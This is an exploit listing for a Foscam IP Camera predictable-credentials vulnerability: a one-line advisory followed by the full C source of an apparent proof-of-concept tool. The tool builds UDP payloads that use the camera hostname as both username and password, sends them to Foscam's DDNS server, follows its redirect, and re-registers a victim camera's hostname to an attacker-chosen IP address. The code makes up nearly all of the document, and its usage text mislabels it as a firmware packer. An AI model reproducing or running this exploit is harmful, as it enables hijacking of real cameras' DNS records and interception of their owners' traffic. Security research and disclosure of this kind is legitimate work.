Foscam IP Camera – Predictable Credentials Security Bypass
// source: https://www.securityfocus.com/bid/67510/info Foscam IP Camera is prone to a security-bypass vulnerability. An attacker can exploit this issue to gain access to sensitive information and perform certain unauthorized actions; this may lead to further attacks. Foscam IP Camera 11.37.2.49 and prior versions are vulnerable. /* * Copyright 2013 Artem Harutyunyan, Sergey Shekyan * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <string.h> #include <getopt.h> #include <stdio.h> #include <stdlib.h> #include <sys/errno.h> #include <arpa/inet.h> #include <netdb.h> #include "camtool.h" #define IP_BUF_LEN 16 #define RESP_BUF_LEN 1024 #define PORT_BUF_LEN 6 #define UNAME_LEN 6 #define DELIM 0x1 #define REQ_POS_PID 1 #define REQ_POS_UNAME 2 #define REQ_POS_PWD 3 #define REQ_POS_OEM 4 #define REQ_POS_DOMAIN_COUNT 5 #define REQ_POS_DOMAIN_0 6 #define RES_POS_PID 1 #define RES_POS_ERROR 2 #define RES_POS_MSG 3 #define RES_POS_DOMAIN_COUNT 4 #define RES_POS_DOMAIN_0 5 #define RES_ENT_SRV_COUNT 6 #define RES_ENT_SRV_0 7 #define RES_ENT_SRV_MPORT_0 8 #define RES_ENT_SRV_APORT_0 9 #define KEY_PID "PID" #define KEY_UNAME "UName" #define KEY_PWD "PWD" #define KEY_OEM "OEM" #define KEY_DOMAIN_COUNT "DomainCount" #define KEY_DOMAIN_0 "Domain0" #define KEY_ENT_SRV_0 "EntServer0" #define KEY_ENT_SRV_MPORT_0 "EntServerMPort0" static char initial_payload[] = { 0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x34, 0x01, 0x55, 0x4e, 0x61, 0x6d, 0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d, 0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x3d, 0x31, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x30, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e, 0x6d, 0x79, 0x66, 0x6f, 0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67, 0x01, 0x00 }; static const unsigned int n_initial_payload = 85; static char redirect_payload[] = { 0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x30, 0x01, 0x55, 0x4e, 0x61, 0x6d, 0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d, 0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x4f, 0x53, 0x3d, 0x4c, 0x69, 0x6e, 0x75, 0x78, 0x01, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x4e, 0x4f, 0x3d, 0x31, 0x33, 0x38, 0x30, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x30, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e, 0x6d, 0x79, 0x66, 0x6f, 0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67, 0x01, 0x0 }; static const unsigned int n_redirect_payload = 93; static int payload_get_offset_by_name(const char* name, const char buf[0], const unsigned int n_buf) { const unsigned int n_name = strlen(name); unsigned int i_name = 0; unsigned int i = 0; while (i < n_buf) { while (name[i_name] == buf[i + i_name] && ((i + i_name) < n_buf) && (i_name < n_name)) ++i_name; if (i_name == n_name) return i; else i_name = 0; ++i; } return -1; } static int payload_insert_host(const char* host, const char* buf, const unsigned int n_buf) { unsigned int i = 0; unsigned int n_host = strlen(host); int offset = 0; // Make sure that hostname is exactly UNAME_LEN while (i < n_host && (buf[++i] != DELIM)) {} if (i != (UNAME_LEN + 1)) return -1; // Insert hostname to payload if ((offset = payload_get_offset_by_name(KEY_UNAME, buf, n_buf)) == -1) return 1; memmove((void*) &buf[offset + strlen(KEY_UNAME) + 1], (const void*) host, UNAME_LEN); // Insert pwd to payload if ((offset = payload_get_offset_by_name(KEY_PWD, buf, n_buf)) == -1) return 1; memmove((void*) &buf[offset + strlen(KEY_PWD) + 1], (const void*) host, UNAME_LEN); // Insert domain to payload if ((offset = payload_get_offset_by_name(KEY_DOMAIN_0, buf, n_buf)) == -1 || (offset + n_host) >= n_buf) return 1; memmove((void*) &buf[offset + strlen(KEY_DOMAIN_0) + 1], (const void*) host, n_host); return 0; } static int payload_extract_ent_srv_0(const char** ip, unsigned int* n_ip, const char* payload, const unsigned int n_payload) { unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_0, payload, n_payload); const unsigned int n_key_ent_srv = strlen(KEY_ENT_SRV_0); if (memcmp(&payload[offset], KEY_ENT_SRV_0, n_key_ent_srv) != 0) return 1; offset += (n_key_ent_srv + 1); // +1 for '=' unsigned int ip_offset = offset; while (offset < n_payload && payload[offset] != DELIM) ++offset; if (offset == n_payload) return 1; *ip = &payload[ip_offset]; *n_ip = offset - ip_offset; return 0; } static int payload_extract_ent_srv_port(const char** port_fwd, unsigned int* n_port_fwd, const char* payload, const unsigned int n_payload) { unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_MPORT_0, payload, n_payload); const unsigned int n_key_ent_srv_mport = strlen(KEY_ENT_SRV_MPORT_0); if (memcmp(&payload[offset], KEY_ENT_SRV_MPORT_0, n_key_ent_srv_mport) != 0) return 1; offset += (n_key_ent_srv_mport + 1); // +1 for '=' unsigned int mport_offset = offset; while (offset < n_payload && payload[offset] != DELIM) ++offset; if (offset == n_payload) return 1; *port_fwd = &payload[mport_offset]; *n_port_fwd = offset - mport_offset; return 0; } static int send_udp_payload (const char* payload, const unsigned int n_payload, const char* host, const unsigned short port, int* sockfd, struct addrinfo** r) { /* Create socket and get the data from DDNS server */ struct addrinfo hints = {0}; struct addrinfo* res = *r; int ret = 0; int nbytes = 0; hints.ai_family = AF_INET; hints.ai_socktype = SOCK_DGRAM; if ((ret = getaddrinfo(host, NULL, &hints, &res)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(ret)); return 1; } if ((*sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) == -1) { fprintf(stderr, "socket() failed: %s\n", strerror(errno)); return 1; } struct sockaddr_in *ipv4 = (struct sockaddr_in*) res->ai_addr; ipv4->sin_port = htons(port); /* Send the request */ if ((nbytes = sendto(*sockfd, payload, n_payload, 0, res->ai_addr, sizeof *(res->ai_addr))) != n_payload) { fprintf(stderr, "sendto() failed: %s\n", strerror(errno)); return 1; } *r = res; return 0; } static void usage() { fprintf(stdout, "Tool for packing WebUI firmware.\n" "Usage: uipack -d <dir> -o <output file>\n" "\t-s DDNS server name\n" "\t-a camera hostname\n" "\t-i IP address to register\n" "\t-h print this message\n"); } int main( int argc, char** argv) { if (argc < 4) { usage(); return 1; } char ddns[MAX_HOSTNAME_LEN] = {0}; char camera_name[MAX_HOSTNAME_LEN] = {0}; char ip[IP_BUF_LEN] = {0}; char o = 0; while ((o = getopt(argc, argv, ":s:a:i:h")) != -1) { switch(o) { case 's': if (strlen(optarg) > MAX_HOSTNAME_LEN - 1) { fprintf(stderr, "%s can not be longer than %d\n", optarg, MAX_HOSTNAME_LEN - 1); return 1; } strncpy(ddns, optarg, MAX_HOSTNAME_LEN); break; case 'a': if (strlen(optarg) > MAX_HOSTNAME_LEN - 1) { fprintf(stderr, "%s can not be longer than %d\n", optarg, MAX_HOSTNAME_LEN - 1); return 1; } strncpy(camera_name, optarg, MAX_HOSTNAME_LEN); break; case 'i': if (strlen(optarg) > IP_BUF_LEN - 1) { fprintf(stderr, "%s can not be longer than %d\n", optarg, IP_BUF_LEN - 1); return 1; } strncpy(ip, optarg, IP_BUF_LEN); break; case 'h': usage(); return 0; case '?': fprintf(stderr, "Illegal option -%c\n", optopt); usage(); return 1; defalt: fprintf(stderr, "Option -%c requires an argument.\n", optopt); usage(); return 1; } } if (strlen(ddns) == 0|| strlen(camera_name) == 0 || strlen(ip) == 0) { usage(); return 1; } /* Insert hostname into payload */ if (payload_insert_host(camera_name, initial_payload, n_initial_payload) != 0) { fprintf(stderr, "Could not insert hostname into the payload"); return 1; } /* Send payload to DDNS */ int sockfd = 0; struct addrinfo* res = NULL; if (send_udp_payload (initial_payload, n_initial_payload, ddns, 8080, &sockfd, &res) != 0) { fprintf(stderr, "Could not send UDP payload to %s", ddns); return 1; } /* Get the response */ char resp[RESP_BUF_LEN] = {0}; int n_resp; unsigned int fromlen = sizeof *(res->ai_addr); if ((n_resp = recvfrom(sockfd, resp, RESP_BUF_LEN, 0, res->ai_addr, &fromlen)) == -1) { fprintf(stderr, "recvfrom() failed: %s\n", strerror(errno)); return 1; } fprintf(stderr, "Got %d bytes\n", n_resp); freeaddrinfo(res); /* Make sure it's a redirect */ /* Extract the server name */ const char* ip_fwd = NULL; unsigned int n_ip_fwd = 0;; char str_ip_fwd[IP_BUF_LEN] = {0}; if (payload_extract_ent_srv_0(&ip_fwd, &n_ip_fwd, resp, n_resp) != 0) { fprintf(stderr, "Could not extract IP server from the response\n"); return 1; } memmove(str_ip_fwd, ip_fwd, n_ip_fwd); fprintf(stderr, "IP of the redirect server is: %s\n", str_ip_fwd); /* Extract port */ const char* port_fwd = 0; unsigned int n_port_fwd = 0; char str_port_fwd[PORT_BUF_LEN] = {0}; if (payload_extract_ent_srv_port(&port_fwd, &n_port_fwd, resp, n_resp) != 0) { fprintf(stderr, "Could not extract port from the response\n"); return 1; } memmove(str_port_fwd, port_fwd, n_port_fwd); fprintf(stderr, "Port of the redirect server is: %s\n", str_port_fwd); /* Update redirect payload and send to DDNS */ if (payload_insert_host(camera_name, redirect_payload, n_redirect_payload) != 0) { fprintf(stderr, "Could not insert hostname into the redirect payload"); return 1; } sockfd = 0; res = NULL; if (send_udp_payload(redirect_payload, n_redirect_payload, str_ip_fwd, atoi(str_port_fwd), &sockfd, &res) != 0) { fprintf(stderr, "Could not send UDP payload to %s", str_ip_fwd); return 1; } return 0; } |